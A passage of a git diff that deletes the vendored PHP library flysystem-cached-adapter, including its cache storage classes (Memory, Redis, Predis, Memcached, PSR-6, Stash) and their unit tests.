} - - return $result; - } - - /** - * {@inheritdoc} - */ - public function createDir($dirname, Config $config) - { - $result = $this->adapter->createDir($dirname, $config); - - if ($result !== false) { - $type = 'dir'; - $path = $dirname; - $this->cache->updateObject($dirname, compact('path', 'type'), true); - } - - return $result; - } - - /** - * {@inheritdoc} - */ - public function setVisibility($path, $visibility) - { - $result = $this->adapter->setVisibility($path, $visibility); - - if ($result !== false) { - $this->cache->updateObject($path, compact('path', 'visibility'), true); - } - - return $result; - } - - /** - * {@inheritdoc} - */ - public function has($path) - { - $cacheHas = $this->cache->has($path); - - if ($cacheHas !== null) { - return $cacheHas; - } - - $adapterResponse = $this->adapter->has($path); - - if (! $adapterResponse) { - $this->cache->storeMiss($path); - } else { - $cacheEntry = is_array($adapterResponse) ? $adapterResponse : compact('path'); - $this->cache->updateObject($path, $cacheEntry, true); - } - - return $adapterResponse; - } - - /** - * {@inheritdoc} - */ - public function read($path) - { - return $this->callWithFallback('contents', $path, 'read'); - } - - /** - * {@inheritdoc} - */ - public function readStream($path) - { - return $this->adapter->readStream($path); - } - - /** - * Get the path prefix. - * - * @return string|null path prefix or null if pathPrefix is empty - */ - public function getPathPrefix() - { - return $this->adapter->getPathPrefix(); - } - - /** - * Prefix a path. - * - * @param string $path - * - * @return string prefixed path - */ - public function applyPathPrefix($path) - { - return $this->adapter->applyPathPrefix($path); - } - - /** - * {@inheritdoc} - */ - public function listContents($directory = '', $recursive = false) - { - if ($this->cache->isComplete($directory, $recursive)) { - return $this->cache->listContents($directory, $recursive); - } - - $result = $this->adapter->listContents($directory, $recursive); - - if ($result !== false) { - $this->cache->storeContents($directory, $result, $recursive); - } - - return $result; - } - - /** - * {@inheritdoc} - */ - public function getMetadata($path) - { - return $this->callWithFallback(null, $path, 'getMetadata'); - } - - /** - * {@inheritdoc} - */ - public function getSize($path) - { - return $this->callWithFallback('size', $path, 'getSize'); - } - - /** - * {@inheritdoc} - */ - public function getMimetype($path) - { - return $this->callWithFallback('mimetype', $path, 'getMimetype'); - } - - /** - * {@inheritdoc} - */ - public function getTimestamp($path) - { - return $this->callWithFallback('timestamp', $path, 'getTimestamp'); - } - - /** - * {@inheritdoc} - */ - public function getVisibility($path) - { - return $this->callWithFallback('visibility', $path, 'getVisibility'); - } - - /** - * Call a method and cache the response. - * - * @param string $property - * @param string $path - * @param string $method - * - * @return mixed - */ - protected function callWithFallback($property, $path, $method) - { - $result = $this->cache->{$method}($path); - - if ($result !== false && ($property === null || array_key_exists($property, $result))) { - return $result; - } - - $result = $this->adapter->{$method}($path); - - if ($result) { - $object = $result + compact('path'); - $this->cache->updateObject($path, $object, true); - } - - return $result; - } -} diff --git a/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php b/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php deleted file mode 100644 index 141b468..0000000 --- a/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php +++ /dev/null @@ -1,418 +0,0 @@ -autosave) { - $this->save(); - } - } - - /** - * Get the autosave setting. - * - * @return bool autosave - */ - public function getAutosave() - { - return $this->autosave; - } - - /** - * Get the autosave setting. - * - * @param bool $autosave - */ - public function setAutosave($autosave) - { - $this->autosave = $autosave; - } - - /** - * Store the contents listing. - * - * @param string $directory - * @param array $contents - * @param bool $recursive - * - * @return array contents listing - */ - public function storeContents($directory, array $contents, $recursive = false) - { - $directories = [$directory]; - - foreach ($contents as $object) { - $this->updateObject($object['path'], $object); - $object = $this->cache[$object['path']]; - - if ($recursive && $this->pathIsInDirectory($directory, $object['path'])) { - $directories[] = $object['dirname']; - } - } - - foreach (array_unique($directories) as $directory) { - $this->setComplete($directory, $recursive); - } - - $this->autosave(); - } - - /** - * Update the metadata for an object. - * - * @param string $path object path - * @param array $object object metadata - * @param bool $autosave whether to trigger the autosave routine - */ - public function updateObject($path, array $object, $autosave = false) - { - if (! $this->has($path)) { - $this->cache[$path] = Util::pathinfo($path); - } - - $this->cache[$path] = array_merge($this->cache[$path], $object); - - if ($autosave) { - $this->autosave(); - } - - $this->ensureParentDirectories($path); - } - - /** - * Store object hit miss. - * - * @param string $path - */ - public function storeMiss($path) - { - $this->cache[$path] = false; - $this->autosave(); - } - - /** - * Get the contents listing. - * - * @param string $dirname - * @param bool $recursive - * - * @return array contents listing - */ - public function listContents($dirname = '', $recursive = false) - { - $result = []; - - foreach ($this->cache as $object) { - if ($object === false) { - continue; - } - if ($object['dirname'] === $dirname) { - $result[] = $object; - } elseif ($recursive && $this->pathIsInDirectory($dirname, $object['path'])) { - $result[] = $object; - } - } - - return $result; - } - - /** - * {@inheritdoc} - */ - public function has($path) - { - if ($path !== false && array_key_exists($path, $this->cache)) { - return $this->cache[$path] !== false; - } - - if ($this->isComplete(Util::dirname($path), false)) { - return false; - } - } - - /** - * {@inheritdoc} - */ - public function read($path) - { - if (isset($this->cache[$path]['contents']) && $this->cache[$path]['contents'] !== false) { - return $this->cache[$path]; - } - - return false; - } - - /** - * {@inheritdoc} - */ - public function readStream($path) - { - return false; - } - - /** - * {@inheritdoc} - */ - public function rename($path, $newpath) - { - if ($this->has($path)) { - $object = $this->cache[$path]; - unset($this->cache[$path]); - $object['path'] = $newpath; - $object = array_merge($object, Util::pathinfo($newpath)); - $this->cache[$newpath] = $object; - $this->autosave(); - } - } - - /** - * {@inheritdoc} - */ - public function copy($path, $newpath) - { - if ($this->has($path)) { - $object = $this->cache[$path]; - $object = array_merge($object, Util::pathinfo($newpath)); - $this->updateObject($newpath, $object, true); - } - } - - /** - * {@inheritdoc} - */ - public function delete($path) - { - $this->storeMiss($path); - } - - /** - * {@inheritdoc} - */ - public function deleteDir($dirname) - { - foreach ($this->cache as $path => $object) { - if ($this->pathIsInDirectory($dirname, $path) || $path === $dirname) { - unset($this->cache[$path]); - } - } - - unset($this->complete[$dirname]); - - $this->autosave(); - } - - /** - * {@inheritdoc} - */ - public function getMimetype($path) - { - if (isset($this->cache[$path]['mimetype'])) { - return $this->cache[$path]; - } - - if (! $result = $this->read($path)) { - return false; - } - - $mimetype = Util::guessMimeType($path, $result['contents']); - $this->cache[$path]['mimetype'] = $mimetype; - - return $this->cache[$path]; - } - - /** - * {@inheritdoc} - */ - public function getSize($path) - { - if (isset($this->cache[$path]['size'])) { - return $this->cache[$path]; - } - - return false; - } - - /** - * {@inheritdoc} - */ - public function getTimestamp($path) - { - if (isset($this->cache[$path]['timestamp'])) { - return $this->cache[$path]; - } - - return false; - } - - /** - * {@inheritdoc} - */ - public function getVisibility($path) - { - if (isset($this->cache[$path]['visibility'])) { - return $this->cache[$path]; - } - - return false; - } - - /** - * {@inheritdoc} - */ - public function getMetadata($path) - { - if (isset($this->cache[$path]['type'])) { - return $this->cache[$path]; - } - - return false; - } - - /** - * {@inheritdoc} - */ - public function isComplete($dirname, $recursive) - { - if (! array_key_exists($dirname, $this->complete)) { - return false; - } - - if ($recursive && $this->complete[$dirname] !== 'recursive') { - return false; - } - - return true; - } - - /** - * {@inheritdoc} - */ - public function setComplete($dirname, $recursive) - { - $this->complete[$dirname] = $recursive ? 'recursive' : true; - } - - /** - * Filter the contents from a listing. - * - * @param array $contents object listing - * - * @return array filtered contents - */ - public function cleanContents(array $contents) - { - $cachedProperties = array_flip([ - 'path', 'dirname', 'basename', 'extension', 'filename', - 'size', 'mimetype', 'visibility', 'timestamp', 'type', - 'md5', - ]); - - foreach ($contents as $path => $object) { - if (is_array($object)) { - $contents[$path] = array_intersect_key($object, $cachedProperties); - } - } - - return $contents; - } - - /** - * {@inheritdoc} - */ - public function flush() - { - $this->cache = []; - $this->complete = []; - $this->autosave(); - } - - /** - * {@inheritdoc} - */ - public function autosave() - { - if ($this->autosave) { - $this->save(); - } - } - - /** - * Retrieve serialized cache data. - * - * @return string serialized data - */ - public function getForStorage() - { - $cleaned = $this->cleanContents($this->cache); - - return json_encode([$cleaned, $this->complete]); - } - - /** - * Load from serialized cache data. - * - * @param string $json - */ - public function setFromStorage($json) - { - list($cache, $complete) = json_decode($json, true); - - if (json_last_error() === JSON_ERROR_NONE && is_array($cache) && is_array($complete)) { - $this->cache = $cache; - $this->complete = $complete; - } - } - - /** - * Ensure parent directories of an object. - * - * @param string $path object path - */ - public function ensureParentDirectories($path) - { - $object = $this->cache[$path]; - - while ($object['dirname'] !== '' && ! isset($this->cache[$object['dirname']])) { - $object = Util::pathinfo($object['dirname']); - $object['type'] = 'dir'; - $this->cache[$object['path']] = $object; - } - } - - /** - * Determines if the path is inside the directory. - * - * @param string $directory - * @param string $path - * - * @return bool - */ - protected function pathIsInDirectory($directory, $path) - { - return $directory === '' || strpos($path, $directory . '/') === 0; - } -} diff --git a/vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php b/vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php deleted file mode 100644 index 649a60e..0000000 --- a/vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php +++ /dev/null @@ -1,115 +0,0 @@ -adapter = $adapter; - $this->file = $file; - $this->setExpire($expire); - } - - /** - * Set the expiration time in seconds. - * - * @param int $expire relative expiration time - */ - protected function setExpire($expire) - { - if ($expire) { - $this->expire = $this->getTime($expire); - } - } - - /** - * Get expiration time in seconds. - * - * @param int $time relative expiration time - * - * @return int actual expiration time - */ - protected function getTime($time = 0) - { - return intval(microtime(true)) + $time; - } - - /** - * {@inheritdoc} - */ - public function setFromStorage($json) - { - list($cache, $complete, $expire) = json_decode($json, true); - - if (! $expire || $expire > $this->getTime()) { - $this->cache = is_array($cache) ? $cache : []; - $this->complete = is_array($complete) ? $complete : []; - } else { - $this->adapter->delete($this->file); - } - } - - /** - * {@inheritdoc} - */ - public function load() - { - if ($this->adapter->has($this->file)) { - $file = $this->adapter->read($this->file); - if ($file && !empty($file['contents'])) { - $this->setFromStorage($file['contents']); - } - } - } - - /** - * {@inheritdoc} - */ - public function getForStorage() - { - $cleaned = $this->cleanContents($this->cache); - - return json_encode([$cleaned, $this->complete, $this->expire]); - } - - /** - * {@inheritdoc} - */ - public function save() - { - $config = new Config(); - $contents = $this->getForStorage(); - - if ($this->adapter->has($this->file)) { - $this->adapter->update($this->file, $contents, $config); - } else { - $this->adapter->write($this->file, $contents, $config); - } - } -} diff --git a/vendor/league/flysystem-cached-adapter/src/Storage/Memcached.php b/vendor/league/flysystem-cached-adapter/src/Storage/Memcached.php deleted file mode 100644 index f67d271..0000000 --- a/vendor/league/flysystem-cached-adapter/src/Storage/Memcached.php +++ /dev/null @@ -1,59 +0,0 @@ -key = $key; - $this->expire = $expire; - $this->memcached = $memcached; - } - - /** - * {@inheritdoc} - */ - public function load() - { - $contents = $this->memcached->get($this->key); - - if ($contents !== false) { - $this->setFromStorage($contents); - } - } - - /** - * {@inheritdoc} - */ - public function save() - { - $contents = $this->getForStorage(); - $expiration = $this->expire === null ? 0 : time() + $this->expire; - $this->memcached->set($this->key, $contents, $expiration); - } -} diff --git a/vendor/league/flysystem-cached-adapter/src/Storage/Memory.php b/vendor/league/flysystem-cached-adapter/src/Storage/Memory.php deleted file mode 100644 index d0914fa..0000000 --- a/vendor/league/flysystem-cached-adapter/src/Storage/Memory.php +++ /dev/null @@ -1,22 +0,0 @@ -client = $client ?: new Redis(); - $this->key = $key; - $this->expire = $expire; - } - - /** - * {@inheritdoc} - */ - public function load() - { - $contents = $this->client->get($this->key); - - if ($contents !== false) { - $this->setFromStorage($contents); - } - } - - /** - * {@inheritdoc} - */ - public function save() - { - $contents = $this->getForStorage(); - $this->client->set($this->key, $contents); - - if ($this->expire !== null) { - $this->client->expire($this->key, $this->expire); - } - } -} diff --git a/vendor/league/flysystem-cached-adapter/src/Storage/Predis.php b/vendor/league/flysystem-cached-adapter/src/Storage/Predis.php deleted file mode 100644 index 8a29574..0000000 --- a/vendor/league/flysystem-cached-adapter/src/Storage/Predis.php +++ /dev/null @@ -1,75 +0,0 @@ -client = $client ?: new Client(); - $this->key = $key; - $this->expire = $expire; - } - - /** - * {@inheritdoc} - */ - public function load() - { - if (($contents = $this->executeCommand('get', [$this->key])) !== null) { - $this->setFromStorage($contents); - } - } - - /** - * {@inheritdoc} - */ - public function save() - { - $contents = $this->getForStorage(); - $this->executeCommand('set', [$this->key, $contents]); - - if ($this->expire !== null) { - $this->executeCommand('expire', [$this->key, $this->expire]); - } - } - - /** - * Execute a Predis command. - * - * @param string $name - * @param array $arguments - * - * @return string - */ - protected function executeCommand($name, array $arguments) - { - $command = $this->client->createCommand($name, $arguments); - - return $this->client->executeCommand($command); - } -} diff --git a/vendor/league/flysystem-cached-adapter/src/Storage/Psr6Cache.php b/vendor/league/flysystem-cached-adapter/src/Storage/Psr6Cache.php deleted file mode 100644 index 43be87e..0000000 --- a/vendor/league/flysystem-cached-adapter/src/Storage/Psr6Cache.php +++ /dev/null @@ -1,59 +0,0 @@ -pool = $pool; - $this->key = $key; - $this->expire = $expire; - } - - /** - * {@inheritdoc} - */ - public function save() - { - $item = $this->pool->getItem($this->key); - $item->set($this->getForStorage()); - $item->expiresAfter($this->expire); - $this->pool->save($item); - } - - /** - * {@inheritdoc} - */ - public function load() - { - $item = $this->pool->getItem($this->key); - if ($item->isHit()) { - $this->setFromStorage($item->get()); - } - } -} \ No newline at end of file diff --git a/vendor/league/flysystem-cached-adapter/src/Storage/Stash.php b/vendor/league/flysystem-cached-adapter/src/Storage/Stash.php deleted file mode 100644 index e05b832..0000000 --- a/vendor/league/flysystem-cached-adapter/src/Storage/Stash.php +++ /dev/null @@ -1,60 +0,0 @@ -key = $key; - $this->expire = $expire; - $this->pool = $pool; - } - - /** - * {@inheritdoc} - */ - public function load() - { - $item = $this->pool->getItem($this->key); - $contents = $item->get(); - - if ($item->isMiss() === false) { - $this->setFromStorage($contents); - } - } - - /** - * {@inheritdoc} - */ - public function save() - { - $contents = $this->getForStorage(); - $item = $this->pool->getItem($this->key); - $item->set($contents, $this->expire); - } -} diff --git a/vendor/league/flysystem-cached-adapter/tests/AdapterCacheTests.php b/vendor/league/flysystem-cached-adapter/tests/AdapterCacheTests.php deleted file mode 100644 index b63cba7..0000000 --- a/vendor/league/flysystem-cached-adapter/tests/AdapterCacheTests.php +++ /dev/null @@ -1,104 +0,0 @@ -shouldReceive('has')->once()->with('file.json')->andReturn(false); - $cache = new Adapter($adapter, 'file.json', 10); - $cache->load(); - $this->assertFalse($cache->isComplete('', false)); - } - - public function testLoadExpired() - { - $response = ['contents' => json_encode([[], ['' => true], 1234567890]), 'path' => 'file.json']; - $adapter = Mockery::mock('League\Flysystem\AdapterInterface'); - $adapter->shouldReceive('has')->once()->with('file.json')->andReturn(true); - $adapter->shouldReceive('read')->once()->with('file.json')->andReturn($response); - $adapter->shouldReceive('delete')->once()->with('file.json'); - $cache = new Adapter($adapter, 'file.json', 10); - $cache->load(); - $this->assertFalse($cache->isComplete('', false)); - } - - public function testLoadSuccess() - { - $response = ['contents' => json_encode([[], ['' => true], 9876543210]), 'path' => 'file.json']; - $adapter = Mockery::mock('League\Flysystem\AdapterInterface'); - $adapter->shouldReceive('has')->once()->with('file.json')->andReturn(true); - $adapter->shouldReceive('read')->once()->with('file.json')->andReturn($response); - $cache = new Adapter($adapter, 'file.json', 10); - $cache->load(); - $this->assertTrue($cache->isComplete('', false)); - } - - public function testSaveExists() - { - $response = json_encode([[], [], null]); - $adapter = Mockery::mock('League\Flysystem\AdapterInterface'); - $adapter->shouldReceive('has')->once()->with('file.json')->andReturn(true); - $adapter->shouldReceive('update')->once()->with('file.json', $response, Mockery::any()); - $cache = new Adapter($adapter, 'file.json', null); - $cache->save(); - } - - public function testSaveNew() - { - $response = json_encode([[], [], null]); - $adapter = Mockery::mock('League\Flysystem\AdapterInterface'); - $adapter->shouldReceive('has')->once()->with('file.json')->andReturn(false); - $adapter->shouldReceive('write')->once()->with('file.json', $response, Mockery::any()); - $cache = new Adapter($adapter, 'file.json', null); - $cache->save(); - } - - public function testStoreContentsRecursive() - { - $adapter = Mockery::mock('League\Flysystem\AdapterInterface'); - $adapter->shouldReceive('has')->once()->with('file.json')->andReturn(false); - $adapter->shouldReceive('write')->once()->with('file.json', Mockery::any(), Mockery::any()); - - $cache = new Adapter($adapter, 'file.json', null); - - $contents = [ - ['path' => 'foo/bar', 'dirname' => 'foo'], - ['path' => 'afoo/bang', 'dirname' => 'afoo'], - ]; - - $cache->storeContents('foo', $contents, true); - - $this->assertTrue($cache->isComplete('foo', true)); - $this->assertFalse($cache->isComplete('afoo', true)); - } - - public function testDeleteDir() - { - $cache_data = [ - 'foo' => ['path' => 'foo', 'type' => 'dir', 'dirname' => ''], - 'foo/bar' => ['path' => 'foo/bar', 'type' => 'file', 'dirname' => 'foo'], - 'foobaz' => ['path' => 'foobaz', 'type' => 'file', 'dirname' => ''], - ]; - - $response = [ - 'contents' => json_encode([$cache_data, [], null]), - 'path' => 'file.json', - ]; - - $adapter = Mockery::mock('League\Flysystem\AdapterInterface'); - $adapter->shouldReceive('has')->zeroOrMoreTimes()->with('file.json')->andReturn(true); - $adapter->shouldReceive('read')->once()->with('file.json')->andReturn($response); - $adapter->shouldReceive('update')->once()->with('file.json', Mockery::any(), Mockery::any())->andReturn(true); - - $cache = new Adapter($adapter, 'file.json', null); - $cache->load(); - - $cache->deleteDir('foo', true); - - $this->assertSame(1, count($cache->listContents('', true))); - } -} diff --git a/vendor/league/flysystem-cached-adapter/tests/InspectionTests.php b/vendor/league/flysystem-cached-adapter/tests/InspectionTests.php deleted file mode 100644 index 40d4c91..0000000 --- a/vendor/league/flysystem-cached-adapter/tests/InspectionTests.php +++ /dev/null @@ -1,16 +0,0 @@ -shouldReceive('load')->once(); - $cached_adapter = new CachedAdapter($adapter, $cache); - $this->assertInstanceOf('League\Flysystem\AdapterInterface', $cached_adapter->getAdapter()); - } -} diff --git a/vendor/league/flysystem-cached-adapter/tests/MemcachedTests.php b/vendor/league/flysystem-cached-adapter/tests/MemcachedTests.php deleted file mode 100644 index e3d9ad9..0000000 --- a/vendor/league/flysystem-cached-adapter/tests/MemcachedTests.php +++ /dev/null @@ -1,35 +0,0 @@ -shouldReceive('get')->once()->andReturn(false); - $cache = new Memcached($client); - $cache->load(); - $this->assertFalse($cache->isComplete('', false)); - } - - public function testLoadSuccess() - { - $response = json_encode([[], ['' => true]]); - $client = Mockery::mock('Memcached'); - $client->shouldReceive('get')->once()->andReturn($response); - $cache = new Memcached($client); - $cache->load(); - $this->assertTrue($cache->isComplete('', false)); - } - - public function testSave() - { - $response = json_encode([[], []]); - $client = Mockery::mock('Memcached'); - $client->shouldReceive('set')->once()->andReturn($response); - $cache = new Memcached($client); - $cache->save(); - } -} diff --git a/vendor/league/flysystem-cached-adapter/tests/MemoryCacheTests.php b/vendor/league/flysystem-cached-adapter/tests/MemoryCacheTests.php deleted file mode 100644 index 3ac58fd..0000000 --- a/vendor/league/flysystem-cached-adapter/tests/MemoryCacheTests.php +++ /dev/null @@ -1,255 +0,0 @@ -setAutosave(true); - $this->assertTrue($cache->getAutosave()); - $cache->setAutosave(false); - $this->assertFalse($cache->getAutosave()); - } - - public function testCacheMiss() - { - $cache = new Memory(); - $cache->storeMiss('path.txt'); - $this->assertFalse($cache->has('path.txt')); - } - - public function testIsComplete() - { - $cache = new Memory(); - $this->assertFalse($cache->isComplete('dirname', false)); - $cache->setComplete('dirname', false); - $this->assertFalse($cache->isComplete('dirname', true)); - $cache->setComplete('dirname', true); - $this->assertTrue($cache->isComplete('dirname', true)); - } - - public function testCleanContents() - { - $cache = new Memory(); - $input = [[ - 'path' => 'path.txt', - 'visibility' => 'public', - 'invalid' => 'thing', - ]]; - - $expected = [[ - 'path' => 'path.txt', - 'visibility' => 'public', - ]]; - - $output = $cache->cleanContents($input); - $this->assertEquals($expected, $output); - } - - public function testGetForStorage() - { - $cache = new Memory(); - $input = [[ - 'path' => 'path.txt', - 'visibility' => 'public', - 'type' => 'file', - ]]; - - $cache->storeContents('', $input, true); - $contents = $cache->listContents('', true); - $cached = []; - foreach ($contents as $item) { - $cached[$item['path']] = $item; - } - - $this->assertEquals(json_encode([$cached, ['' => 'recursive']]), $cache->getForStorage()); - } - - public function testParentCompleteIsUsedDuringHas() - { - $cache = new Memory(); - $cache->setComplete('dirname', false); - $this->assertFalse($cache->has('dirname/path.txt')); - } - - public function testFlush() - { - $cache = new Memory(); - $cache->setComplete('dirname', true); - $cache->updateObject('path.txt', [ - 'path' => 'path.txt', - 'visibility' => 'public', - ]); - $cache->flush(); - $this->assertFalse($cache->isComplete('dirname', true)); - $this->assertNull($cache->has('path.txt')); - } - - public function testSetFromStorage() - { - $cache = new Memory(); - $json = [[ - 'path.txt' => ['path' => 'path.txt', 'type' => 'file'], - ], ['dirname' => 'recursive']]; - $jsonString = json_encode($json); - $cache->setFromStorage($jsonString); - $this->assertTrue($cache->has('path.txt')); - $this->assertTrue($cache->isComplete('dirname', true)); - } - - public function testGetMetadataFail() - { - $cache = new Memory(); - $this->assertFalse($cache->getMetadata('path.txt')); - } - - public function metaGetterProvider() - { - return [ - ['getTimestamp', 'timestamp', 12344], - ['getMimetype', 'mimetype', 'text/plain'], - ['getSize', 'size', 12], - ['getVisibility', 'visibility', 'private'], - ['read', 'contents', '__contents__'], - ]; - } - - /** - * @dataProvider metaGetterProvider - * - * @param $method - * @param $key - * @param $value - */ - public function testMetaGetters($method, $key, $value) - { - $cache = new Memory(); - $this->assertFalse($cache->{$method}('path.txt')); - $cache->updateObject('path.txt', $object = [ - 'path' => 'path.txt', - 'type' => 'file', - $key => $value, - ] + Util::pathinfo('path.txt'), true); - $this->assertEquals($object, $cache->{$method}('path.txt')); - $this->assertEquals($object, $cache->getMetadata('path.txt')); - } - - public function testGetDerivedMimetype() - { - $cache = new Memory(); - $cache->updateObject('path.txt', [ - 'contents' => 'something', - ]); - $response = $cache->getMimetype('path.txt'); - $this->assertEquals('text/plain', $response['mimetype']); - } - - public function testCopyFail() - { - $cache = new Memory(); - $cache->copy('one', 'two'); - $this->assertNull($cache->has('two')); - $this->assertNull($cache->load()); - } - - public function testStoreContents() - { - $cache = new Memory(); - $cache->storeContents('dirname', [ - ['path' => 'dirname', 'type' => 'dir'], - ['path' => 'dirname/nested', 'type' => 'dir'], - ['path' => 'dirname/nested/deep', 'type' => 'dir'], - ['path' => 'other/nested/deep', 'type' => 'dir'], - ], true); - - $this->isTrue($cache->isComplete('other/nested', true)); - } - - public function testDelete() - { - $cache = new Memory(); - $cache->updateObject('path.txt', ['type' => 'file']); - $this->assertTrue($cache->has('path.txt')); - $cache->delete('path.txt'); - $this->assertFalse($cache->has('path.txt')); - } - - public function testDeleteDir() - { - $cache = new Memory(); - $cache->storeContents('dirname', [ - ['path' => 'dirname/path.txt', 'type' => 'file'], - ]); - $this->assertTrue($cache->isComplete('dirname', false)); - $this->assertTrue($cache->has('dirname/path.txt')); - $cache->deleteDir('dirname'); - $this->assertFalse($cache->isComplete('dirname', false)); - $this->assertNull($cache->has('dirname/path.txt')); - } - - public function testReadStream() - { - $cache = new Memory(); - $this->assertFalse($cache->readStream('path.txt')); - } - - public function testRename() - { - $cache = new Memory(); - $cache->updateObject('path.txt', ['type' => 'file']); - $cache->rename('path.txt', 'newpath.txt'); - $this->assertTrue($cache->has('newpath.txt')); - } - - public function testCopy() - { - $cache = new Memory(); - $cache->updateObject('path.txt', ['type' => 'file']); - $cache->copy('path.txt', 'newpath.txt'); - $this->assertTrue($cache->has('newpath.txt')); - } - - public function testComplextListContents() - { - $cache = new Memory(); - $cache->storeContents('', [ - ['path' => 'dirname', 'type' => 'dir'], - ['path' => 'dirname/file.txt', 'type' => 'file'], - ['path' => 'other', 'type' => 'dir'], - ['path' => 'other/file.txt', 'type' => 'file'], - ['path' => 'other/nested/file.txt', 'type' => 'file'], - ]); - - $this->assertCount(3, $cache->listContents('other', true)); - } - - public function testComplextListContentsWithDeletedFile() - { - $cache = new Memory(); - $cache->storeContents('', [ - ['path' => 'dirname', 'type' => 'dir'], - ['path' => 'dirname/file.txt', 'type' => 'file'], - ['path' => 'other', 'type' => 'dir'], - ['path' => 'other/file.txt', 'type' => 'file'], - ['path' => 'other/another_file.txt', 'type' => 'file'], - ]); - - $cache->delete('other/another_file.txt'); - $this->assertCount(4, $cache->listContents('', true)); - } - - public function testCacheMissIfContentsIsFalse() - { - $cache = new Memory(); - $cache->updateObject('path.txt', [ - 'path' => 'path.txt', - 'contents' => false, - ], true); - - $this->assertFalse($cache->read('path.txt')); - } -} diff --git a/vendor/league/flysystem-cached-adapter/tests/NoopCacheTests.php b/vendor/league/flysystem-cached-adapter/tests/NoopCacheTests.php deleted file mode 100644 index 148616f..0000000 --- a/vendor/league/flysystem-cached-adapter/tests/NoopCacheTests.php +++ /dev/null @@ -1,35 +0,0 @@ -assertEquals($cache, $cache->storeMiss('file.txt')); - $this->assertNull($cache->setComplete('', false)); - $this->assertNull($cache->load()); - $this->assertNull($cache->flush()); - $this->assertNull($cache->has('path.txt')); - $this->assertNull($cache->autosave()); - $this->assertFalse($cache->isComplete('', false)); - $this->assertFalse($cache->read('something')); - $this->assertFalse($cache->readStream('something')); - $this->assertFalse($cache->getMetadata('something')); - $this->assertFalse($cache->getMimetype('something')); - $this->assertFalse($cache->getSize('something')); - $this->assertFalse($cache->getTimestamp('something')); - $this->assertFalse($cache->getVisibility('something')); - $this->assertEmpty($cache->listContents('', false)); - $this->assertFalse($cache->rename('', '')); - $this->assertFalse($cache->copy('', '')); - $this->assertNull($cache->save()); - $object = ['path' => 'path.ext']; - $this->assertEquals($object, $cache->updateObject('path.txt', $object)); - $this->assertEquals([['path' => 'some/file.txt']], $cache->storeContents('unknwon', [ - ['path' => 'some/file.txt'], - ], false)); - } -} diff --git a/vendor/league/flysystem-cached-adapter/tests/PhpRedisTests.php b/vendor/league/flysystem-cached-adapter/tests/PhpRedisTests.php deleted file mode 100644 index d1ccb65..0000000 --- a/vendor/league/flysystem-cached-adapter/tests/PhpRedisTests.php +++ /dev/null @@ -1,45 +0,0 @@ -shouldReceive('get')->with('flysystem')->once()->andReturn(false); - $cache = new PhpRedis($client); - $cache->load(); - $this->assertFalse($cache->isComplete('', false)); - } - - public function testLoadSuccess() - { - $response = json_encode([[], ['' => true]]); - $client = Mockery::mock('Redis'); - $client->shouldReceive('get')->with('flysystem')->once()->andReturn($response); - $cache = new PhpRedis($client); - $cache->load(); - $this->assertTrue($cache->isComplete('', false)); - } - - public function testSave() - { - $data = json_encode([[], []]); - $client = Mockery::mock('Redis'); - $client->shouldReceive('set')->with('flysystem', $data)->once(); - $cache = new PhpRedis($client); - $cache->save(); - } - - public function testSaveWithExpire() - { - $data = json_encode([[], []]); - $client = Mockery::mock('Redis'); - $client->shouldReceive('set')->with('flysystem', $data)->once(); - $client->shouldReceive('expire')->with('flysystem', 20)->once(); - $cache = new PhpRedis($client, 'flysystem', 20); - $cache->save(); - } -} diff --git a/vendor/league/flysystem-cached-adapter/tests/PredisTests.php b/vendor/league/flysystem-cached-adapter/tests/PredisTests.php deleted file mode 100644 index e33e104..0000000 --- a/vendor/league/flysystem-cached-adapter/tests/PredisTests.php +++ /dev/null @@ -1,55 +0,0 @@ -shouldReceive('createCommand')->with('get', ['flysystem'])->once()->andReturn($command); - $client->shouldReceive('executeCommand')->with($command)->andReturn(null); - $cache = new Predis($client); - $cache->load(); - $this->assertFalse($cache->isComplete('', false)); - } - - public function testLoadSuccess() - { - $response = json_encode([[], ['' => true]]); - $client = Mockery::mock('Predis\Client'); - $command = Mockery::mock('Predis\Command\CommandInterface'); - $client->shouldReceive('createCommand')->with('get', ['flysystem'])->once()->andReturn($command); - $client->shouldReceive('executeCommand')->with($command)->andReturn($response); - $cache = new Predis($client); - $cache->load(); - $this->assertTrue($cache->isComplete('', false)); - } - - public function testSave() - { - $data = json_encode([[], []]); - $client = Mockery::mock('Predis\Client'); - $command = Mockery::mock('Predis\Command\CommandInterface'); - $client->shouldReceive('createCommand')->with('set', ['flysystem', $data])->once()->andReturn($command); - $client->shouldReceive('executeCommand')->with($command)->once(); - $cache = new Predis($client); - $cache->save(); - } - - public function testSaveWithExpire() - { - $data = json_encode([[], []]); - $client = Mockery::mock('Predis\Client'); - $command = Mockery::mock('Predis\Command\CommandInterface'); - $client->shouldReceive('createCommand')->with('set', ['flysystem', $data])->once()->andReturn($command); - $client->shouldReceive('executeCommand')->with($command)->once(); - $expireCommand = Mockery::mock('Predis\Command\CommandInterface'); - $client->shouldReceive('createCommand')->with('expire', ['flysystem', 20])->once()->andReturn($expireCommand); - $client->shouldReceive('executeCommand')->with($expireCommand)->once(); - $cache = new Predis($client, 'flysystem', 20); - $cache->save(); - } -} diff --git a/vendor/league/flysystem-cached-adapter/tests/Psr6CacheTest.php b/vendor/league/flysystem-cached-adapter/tests/Psr6CacheTest.php deleted file mode 100644 index d5e5700..0000000 --- a/vendor/league/flysystem-cached-adapter/tests/Psr6CacheTest.php +++ /dev/null @@ -1,45 +0,0 @@ -shouldReceive('isHit')->once()->andReturn(false); - $pool->shouldReceive('getItem')->once()->andReturn($item); - $cache = new Psr6Cache($pool); - $cache->load(); - $this->assertFalse($cache->isComplete('', false)); - } - - public function testLoadSuccess() - { - $response = json_encode([[], ['' => true]]); - $pool = Mockery::mock('Psr\Cache\CacheItemPoolInterface'); - $item = Mockery::mock('Psr\Cache\CacheItemInterface'); - $item->shouldReceive('get')->once()->andReturn($response); - $item->shouldReceive('isHit')->once()->andReturn(true); - $pool->shouldReceive('getItem')->once()->andReturn($item); - $cache = new Psr6Cache($pool); - $cache->load(); - $this->assertTrue($cache->isComplete('', false)); - } - - public function testSave() - { - $response = json_encode([[], []]); - $ttl = 4711; - $pool = Mockery::mock('Psr\Cache\CacheItemPoolInterface'); - $item = 